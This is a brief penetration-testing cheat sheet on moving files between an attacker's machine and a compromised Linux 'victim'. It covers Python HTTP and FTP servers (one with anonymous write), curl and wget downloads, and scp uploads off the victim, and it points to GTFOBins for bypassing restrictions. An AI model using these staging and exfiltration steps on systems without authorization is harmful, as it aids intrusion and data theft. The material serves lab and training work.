Transfer files – Linux
Several methods is described here, on how to transfer files between Linux system as victim and attack box.
Start HTTP Server on Attack box
Start HTTP Server vi Py module
1 2 |
python -m SimpleHTTPServer 80 |
Start FTP Server on Attack box
Start FTP via PyFTP Lib
1 2 3 4 |
#Install pyFTP lib apt-get install python-pyftpdlib python -m pyftpdlib -p 2121 |
1 2 3 |
# -w to allow anon write access!! python -m pyftpdlib -w -p 2121 |
Download files from attack box to vitctim:
Curl
1 2 |
curl http://1.1.1.1/file.zip --output filecheck.zip |
Wget
1 2 |
wget 10.1.1.1/file.zip -O /tmp/file.zip |
scp
Download/upload files over SSH.
1 2 3 |
#Download scp user@10.1.1.1:/tmp/file /tmp/ |
1 2 3 |
#Upload scp /tmp/file user@10.1.1.1:/tmp/ |
Check https://gtfobins.github.io/ for legitimate native unix binaries that be exploited by attacker to bypass local security restrictions.